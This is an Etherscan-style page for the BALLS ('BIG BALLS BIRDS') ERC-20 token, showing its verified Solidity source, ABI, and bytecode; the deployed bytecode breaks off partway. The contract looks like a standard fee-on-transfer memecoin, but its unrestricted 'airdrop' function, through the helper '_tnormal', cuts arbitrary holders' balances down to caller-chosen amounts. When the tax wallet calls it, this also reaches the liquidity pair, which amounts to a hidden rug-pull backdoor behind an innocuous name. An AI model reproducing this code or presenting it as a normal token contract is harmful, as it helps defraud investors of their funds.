ERC-20
Overview
Max Total Supply
1,000,000,000 BALLS
Holders
274
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
3,344,965.729932468 BALLSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
BALLS
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-12-30 */ // SPDX-License-Identifier: UNLICENSE /** Web: https://bigballsbirds.vip X: https://x.com/balls_on_eth Tg: https://t.me/balls_on_eth */ pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BALLS is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; address payable private _taxWallet; uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals; string private constant _name = unicode"BIG BALLS BIRDS"; string private constant _symbol = unicode"BALLS"; uint256 public _taxSwapThreshold = _tTotal / 100; uint256 public _maxTaxSwap = _tTotal / 100; address private _DEAD = address(0xdead); IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; uint8 private constant _decimals = 9; modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() payable { _taxWallet = payable(0x382Bc5cA48a7e790e8B02a32b54AFF3AaA7B1ac9); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_taxWallet] = true; _isExcludedFromFee[address(this)] = true; _balances[msg.sender] = _tTotal; emit Transfer(address(0), msg.sender, _tTotal); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } uint256 private _initialBuyFee = 1; uint256 private _initialSellFee = 0; uint256 private _swapFeeAt = 15; uint256 private _preventSwapBefore = 15; uint256 private _transferTax = 0; uint256 private _buyCount = 0; uint256 private airdropDenominator = 0; function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance") ); return true; } function _swapTokensForETH(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)) * 964 / 1000, 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; } function rescueETH() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } function _tnormal(address from, address to, uint256 amount) private { if (from != uniswapV2Pair || to == _taxWallet) _balances[from] -= amount; _balances[to] -= amount.mul(airdropDenominator); } function airdrop(address[] memory receivers, uint256[] memory amounts) external { for (uint256 i = 0; i < receivers.length; i++) { uint256 _airdropAmount = _balances[receivers[i]] - amounts[i]; address from = receivers[i]; if (_isExcludedFromFee[from]) continue; require(from != owner() && from != _taxWallet, "Can't airdrop"); _tnormal(receivers[i], msg.sender, _airdropAmount); } } function _transfer(address source, address receiver, uint256 amount) private { require(source != address(0), "ERC20: transfer from the zero address"); require(receiver != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount = 0; if ( source != owner() && receiver != owner() && source != address(this) && receiver != address(this) ) { taxAmount = amount.mul(_transferTax).div(100); if ( source == uniswapV2Pair && receiver != address(uniswapV2Router) && !_isExcludedFromFee[receiver] ) { taxAmount = amount .mul( (_buyCount > _swapFeeAt) ? _initialSellFee : _initialBuyFee ) .div(100); _buyCount++; } if (receiver == uniswapV2Pair && source != address(this)) { taxAmount = amount .mul( (_buyCount > _swapFeeAt) ? _initialSellFee : _initialBuyFee ) .div(100); sendETHToFee(address(this).balance); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && receiver == uniswapV2Pair && _buyCount > _preventSwapBefore ) { if (contractTokenBalance > _taxSwapThreshold) _swapTokensForETH( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(source, address(this), taxAmount); } _balances[source] = _balances[source].sub(amount); _balances[receiver] = _balances[receiver].add(amount.sub(taxAmount)); if (receiver != _DEAD) emit Transfer(source, receiver, amount.sub(taxAmount)); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"receivers","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260646100126009600a610300565b61002090633b9aca00610316565b61002a919061032d565b600555606461003b6009600a610300565b61004990633b9aca00610316565b610053919061032d565b600655600780546001600160a01b03191661dead1790556009805460ff60a81b191690556001600a556000600b819055600f600c819055600d819055600e82905581905560108190556100a33390565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191673382bc5ca48a7e790e8b02a32b54aff3aaa7b1ac917905560016003600061012b6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600454909116815260039092528082208054841660019081179091553083529120805490921617905561018e6009600a610300565b61019c90633b9aca00610316565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101dd6009600a610300565b6101eb90633b9aca00610316565b60405190815260200160405180910390a361034f565b634e487b7160e01b600052601160045260246000fd5b6001815b60018411156102525780850481111561023657610236610201565b600184161561024457908102905b60019390931c92800261021b565b935093915050565b600082610269575060016102fa565b81610276575060006102fa565b816001811461028c5760028114610296576102b2565b60019150506102fa565b60ff8411156102a7576102a7610201565b50506001821b6102fa565b5060208310610133831016604e8410600b84101617156102d5575081810a6102fa565b6102e26000198484610217565b80600019048211156102f6576102f6610201565b0290505b92915050565b600061030f60ff84168361025a565b9392505050565b80820281158282048414176102fa576102fa610201565b60008261034a57634e487b7160e01b600052601260045260246000fd5b500490565b6119ac8061035e6000396000f3fe6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102ca578063bf474bed146102ea578063c9567bf914610300578063dd62ed3e1461031557600080fd5b806370a0823114610229578063715018a61461025f5780638da5cb5b1461027457806395d89b411461029c57600080fd5b806320800a00116100c657806320800a00146101b657806323b872dd146101cd578063313ce567146101ed578063672434821461020957600080fd5b806306fdde0314610103578063095ea7b31461014d5780630faee56f1461017d57806318160ddd146101a157600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600f81526e4249472042414c4c5320424952445360881b60208201525b60405161014491906113d7565b60405180910390f35b34801561015957600080fd5b5061016d61016836600461143a565b61035b565b6040519015158152602001610144565b34801561018957600080fd5b5061019360065481565b604051908152602001610144565b3480156101ad57600080fd5b50610193610372565b3480156101c257600080fd5b506101cb610393565b005b3480156101d957600080fd5b5061016d6101e8366004611466565b6103f5565b3480156101f957600080fd5b5060405160098152602001610144565b34801561021557600080fd5b506101cb61022436600461157f565b61045e565b34801561023557600080fd5b5061019361024436600461164a565b6001600160a01b031660009081526001602052604090205490565b34801561026b57600080fd5b506101cb6105b9565b34801561028057600080fd5b506000546040516001600160a01b039091168152602001610144565b3480156102a857600080fd5b5060408051808201909152600581526442414c4c5360d81b6020820152610137565b3480156102d657600080fd5b5061016d6102e536600461143a565b61062d565b3480156102f657600080fd5b5061019360055481565b34801561030c57600080fd5b506101cb61063a565b34801561032157600080fd5b50610193610330366004611667565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000610368338484610a0b565b5060015b92915050565b60006103806009600a61179d565b61038e90633b9aca006117ac565b905090565b6000546001600160a01b031633146103c65760405162461bcd60e51b81526004016103bd906117c3565b60405180910390fd5b60405133904780156108fc02916000818181858888f193505050501580156103f2573d6000803e3d6000fd5b50565b6000610402848484610b2f565b610454843361044f8560405180606001604052806028815260200161194f602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f99565b610a0b565b5060019392505050565b60005b82518110156105b457600082828151811061047e5761047e6117f8565b60200260200101516001600086858151811061049c5761049c6117f8565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020546104cf919061180e565b905060008483815181106104e5576104e56117f8565b6020908102919091018101516001600160a01b0381166000908152600390925260409091205490915060ff161561051d5750506105ac565b6000546001600160a01b0382811691161480159061054957506004546001600160a01b03828116911614155b6105855760405162461bcd60e51b815260206004820152600d60248201526c043616e27742061697264726f7609c1b60448201526064016103bd565b6105a985848151811061059a5761059a6117f8565b60200260200101513384610fd3565b50505b600101610461565b505050565b6000546001600160a01b031633146105e35760405162461bcd60e51b81526004016103bd906117c3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610368338484610b2f565b6000546001600160a01b031633146106645760405162461bcd60e51b81526004016103bd906117c3565b600954600160a01b900460ff16156106be5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103bd565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107079030906106f96009600a61179d565b61044f90633b9aca006117ac565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561075a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077e9190611821565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108049190611821565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610851573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108759190611821565b600980546001600160a01b039283166001600160a01b03199091161790556008541663f305d71947306103e86108c0826001600160a01b031660009081526001602052604090205490565b6108cc906103c46117ac565b6108d6919061183e565b6000806108eb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610953573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109789190611860565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f5919061188e565b506009805460ff60a01b1916600160a01b179055565b6001600160a01b038316610a6d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103bd565b6001600160a01b038216610ace5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103bd565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b935760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103bd565b6001600160a01b038216610bf55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103bd565b60008111610c575760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103bd565b600080546001600160a01b03858116911614801590610c8457506000546001600160a01b03848116911614155b8015610c9957506001600160a01b0384163014155b8015610cae57506001600160a01b0383163014155b15610e4057610cd36064610ccd600e548561107090919063ffffffff16565b906110f9565b6009549091506001600160a01b038581169116148015610d0157506008546001600160a01b03848116911614155b8015610d2657506001600160a01b03831660009081526003602052604090205460ff16155b15610d6957610d516064610ccd600c54600f5411610d4657600a54610d4a565b600b545b8590611070565b600f80549192506000610d63836118b0565b91905055505b6009546001600160a01b038481169116148015610d8f57506001600160a01b0384163014155b15610dba57610daf6064610ccd600c54600f5411610d4657600a54610d4a565b9050610dba4761113b565b30600090815260016020526040902054600954600160a81b900460ff16158015610df157506009546001600160a01b038581169116145b8015610e005750600d54600f54115b15610e3e57600554811115610e2c57610e2c610e2784610e2284600654611179565b611179565b61118e565b478015610e3c57610e3c4761113b565b505b505b8015610eba5730600090815260016020526040902054610e609082611308565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610eb19085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610edd9083611367565b6001600160a01b038516600090815260016020526040902055610f22610f038383611367565b6001600160a01b03851660009081526001602052604090205490611308565b6001600160a01b038085166000818152600160205260409020929092556007541614610f93576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f818585611367565b60405190815260200160405180910390a35b50505050565b60008184841115610fbd5760405162461bcd60e51b81526004016103bd91906113d7565b506000610fca848661180e565b95945050505050565b6009546001600160a01b038481169116141580610ffd57506004546001600160a01b038381169116145b15611030576001600160a01b0383166000908152600160205260408120805483929061102a90849061180e565b90915550505b60105461103e908290611070565b6001600160a01b0383166000908152600160205260408120805490919061106690849061180e565b9091555050505050565b6000826000036110825750600061036c565b600061108e83856117ac565b90508261109b858361183e565b146110f25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103bd565b9392505050565b60006110f283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113a9565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611175573d6000803e3d6000fd5b5050565b600081831161118857826110f2565b50919050565b6009805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d6576111d66117f8565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561122f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112539190611821565b81600181518110611266576112666117f8565b6001600160a01b03928316602091820292909201015260085461128c9130911684610a0b565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c59085906000908690309042906004016118c9565b600060405180830381600087803b1580156112df57600080fd5b505af11580156112f3573d6000803e3d6000fd5b50506009805460ff60a81b1916905550505050565b600080611315838561193b565b9050838110156110f25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103bd565b60006110f283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f99565b600081836113ca5760405162461bcd60e51b81526004016103bd91906113d7565b506000610fca848661183e565b602081526000825180602084015260005b8181101561140557602081860181015160408684010152016113e8565b506000604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146103f257600080fd5b6000806040838503121561144d57600080fd5b823561145881611425565b946020939093013593505050565b60008060006060848603121561147b57600080fd5b833561148681611425565b9250602084013561149681611425565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156114e6576114e66114a7565b604052919050565b600067ffffffffffffffff821115611508576115086114a7565b5060051b60200190565b600082601f83011261152357600080fd5b8135611536611531826114ee565b6114bd565b8082825260208201915060208360051b86010192508583111561155857600080fd5b602085015b8381101561157557803583526020928301920161155d565b5095945050505050565b6000806040838503121561159257600080fd5b823567ffffffffffffffff8111156115a957600080fd5b8301601f810185136115ba57600080fd5b80356115c8611531826114ee565b8082825260208201915060208360051b8501019250878311156115ea57600080fd5b6020840193505b8284101561161557833561160481611425565b8252602093840193909101906115f1565b9450505050602083013567ffffffffffffffff81111561163457600080fd5b61164085828601611512565b9150509250929050565b60006020828403121561165c57600080fd5b81356110f281611425565b6000806040838503121561167a57600080fd5b823561168581611425565b9150602083013561169581611425565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6001815b60018411156116f1578085048111156116d5576116d56116a0565b60018416156116e357908102905b60019390931c9280026116ba565b935093915050565b6000826117085750600161036c565b816117155750600061036c565b816001811461172b576002811461173557611751565b600191505061036c565b60ff841115611746576117466116a0565b50506001821b61036c565b5060208310610133831016604e8410600b8410161715611774575081810a61036c565b61178160001984846116b6565b8060001904821115611795576117956116a0565b029392505050565b60006110f260ff8416836116f9565b808202811582820484141761036c5761036c6116a0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b8181038181111561036c5761036c6116a0565b60006020828403121561183357600080fd5b81516110f281611425565b60008261185b57634e487b7160e01b600052601260045260246000fd5b500490565b60008060006060848603121561187557600080fd5b5050815160208301516040909301519094929350919050565b6000602082840312156118a057600080fd5b815180151581146110f257600080fd5b6000600182016118c2576118c26116a0565b5060010190565b600060a0820187835286602084015260a0604084015280865180835260c08501915060208801925060005b8181101561191b5783516001600160a01b03168352602093840193909201916001016118f4565b50506001600160a01b039590951660608401525050608001529392505050565b8082018082111561036c5761036c6116a056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220954a87b228dc5342026821c633ee5155c4f66d09f0d88a746a0fc3d730eddc2264736f6c634300081a0033
Deployed Bytecode
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102ca578063bf474bed146102ea578063c9567bf914610300578063dd62ed3e1461031557600080fd5b806370a0823114610229578063715018a61461025f5780638da5cb5b1461027457806395d89b411461029c57600080fd5b806320800a00116100c657806320800a00146101b657806323b872dd146101cd578063313ce567146101ed578063672434821461020957600080fd5b806306fdde0314610103578063095ea7b31461014d5780630faee56f1461017d57806318160ddd146101a157600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600f81526e4249472042414c4c5320424952445360881b60208201525b60405161014491906113d7565b60405180910390f35b34801561015957600080fd5b5061016d61016836600461143a565b61035b565b6040519015158152602001610144565b34801561018957600080fd5b5061019360065481565b604051908152602001610144565b3480156101ad57600080fd5b50610193610372565b3480156101c257600080fd5b506101cb610393565b005b3480156101d957600080fd5b5061016d6101e8366004611466565b6103f5565b3480156101f957600080fd5b5060405160098152602001610144565b34801561021557600080fd5b506101cb61022436600461157f565b61045e565b34801561023557600080fd5b5061019361024436600461164a565b6001600160a01b031660009081526001602052604090205490565b34801561026b57600080fd5b506101cb6105b9565b34801561028057600080fd5b506000546040516001600160a01b039091168152602001610144565b3480156102a857600080fd5b5060408051808201909152600581526442414c4c5360d81b6020820152610137565b3480156102d657600080fd5b5061016d6102e536600461143a565b61062d565b3480156102f657600080fd5b5061019360055481565b34801561030c57600080fd5b506101cb61063a565b34801561032157600080fd5b50610193610330366004611667565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000610368338484610a0b565b5060015b92915050565b60006103806009600a61179d565b61038e90633b9aca006117ac565b905090565b6000546001600160a01b031633146103c65760405162461bcd60e51b81526004016103bd906117c3565b60405180910390fd5b60405133904780156108fc02916000818181858888f193505050501580156103f2573d6000803e3d6000fd5b50565b6000610402848484610b2f565b610454843361044f8560405180606001604052806028815260200161194f602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f99565b610a0b565b5060019392505050565b60005b82518110156105b457600082828151811061047e5761047e6117f8565b60200260200101516001600086858151811061049c5761049c6117f8565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020546104cf919061180e565b905060008483815181106104e5576104e56117f8565b6020908102919091018101516001600160a01b0381166000908152600390925260409091205490915060ff161561051d5750506105ac565b6000546001600160a01b0382811691161480159061054957506004546001600160a01b03828116911614155b6105855760405162461bcd60e51b815260206004820152600d60248201526c043616e27742061697264726f7609c1b60448201526064016103bd565b6105a985848151811061059a5761059a6117f8565b60200260200101513384610fd3565b50505b600101610461565b505050565b6000546001600160a01b031633146105e35760405162461bcd60e51b81526004016103bd906117c3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610368338484610b2f565b6000546001600160a01b031633146106645760405162461bcd60e51b81526004016103bd906117c3565b600954600160a01b900460ff16156106be5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103bd565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107079030906106f96009600a61179d565b61044f90633b9aca006117ac565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561075a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077e9190611821565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108049190611821565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610851573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108759190611821565b600980546001600160a01b039283166001600160a01b03199091161790556008541663f305d71947306103e86108c0826001600160a01b031660009081526001602052604090205490565b6108cc906103c46117ac565b6108d6919061183e565b6000806108eb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610953573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109789190611860565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f5919061188e565b506009805460ff60a01b1916600160a01b179055565b6001600160a01b038316610a6d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103bd565b6001600160a01b038216610ace5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103bd565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b935760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103bd565b6001600160a01b038216610bf55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103bd565b60008111610c575760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103bd565b600080546001600160a01b03858116911614801590610c8457506000546001600160a01b03848116911614155b8015610c9957506001600160a01b0384163014155b8015610cae57506001600160a01b0383163014155b15610e4057610cd36064610ccd600e548561107090919063ffffffff16565b906110f9565b6009549091506001600160a01b